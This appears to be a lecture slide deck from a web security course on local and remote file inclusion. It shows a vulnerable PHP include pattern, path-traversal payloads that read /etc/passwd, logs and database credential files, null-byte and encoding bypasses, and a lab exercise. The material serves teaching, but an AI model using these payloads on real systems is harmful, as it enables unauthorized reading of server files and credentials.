COURSE: Web Application Security Fundamentals
WEEK 3 — Local & Remote File Inclusion
INSTRUCTOR: Prof. David Reeves
SLIDE DECK: Week 3 / Lecture 1
=========================================================

SLIDE 1: What is File Inclusion?
---------------------------------------
File Inclusion vulnerabilities occur when applications dynamically include
files based on user-controlled input without proper validation.

Types:
  LFI (Local File Inclusion)  — includes files from the local server
  RFI (Remote File Inclusion) — includes files from a remote URL

SLIDE 2: How LFI Works
---------------------------------------
Vulnerable code pattern:
  $page = $_GET['page'];
  include($page);

Normal usage:   ?page=content/about.php
LFI attack:     ?page=../../../../etc/passwd
                ?page=../../../var/log/apache2/access.log

SLIDE 3: Interesting Files to Read (Linux)
---------------------------------------
  /etc/passwd                      — user accounts
  /etc/hosts                       — host file
  /etc/apache2/apache2.conf        — web server config
  /var/log/apache2/access.log      — access logs (log poisoning)
  /proc/self/environ               — process environment
  /proc/self/fd/0                  — stdin
  ../config/database.php           — app DB credentials

SLIDE 4: Null Byte & Encoding Tricks
---------------------------------------
PHP < 5.3 null byte bypass:
  ?page=../../../etc/passwd%00

Double URL encoding:
  %2e%2e%2f = ../

Path normalization bypass:
  ....//....//....//etc/passwd

SLIDE 5: Impact of LFI
---------------------------------------
  - Read sensitive server files and credentials
  - Source code disclosure
  - Log poisoning → Remote Code Execution
  - Session file hijacking

Lab: Use the ?resource= parameter in the course viewer to read
files outside the expected courses/ directory.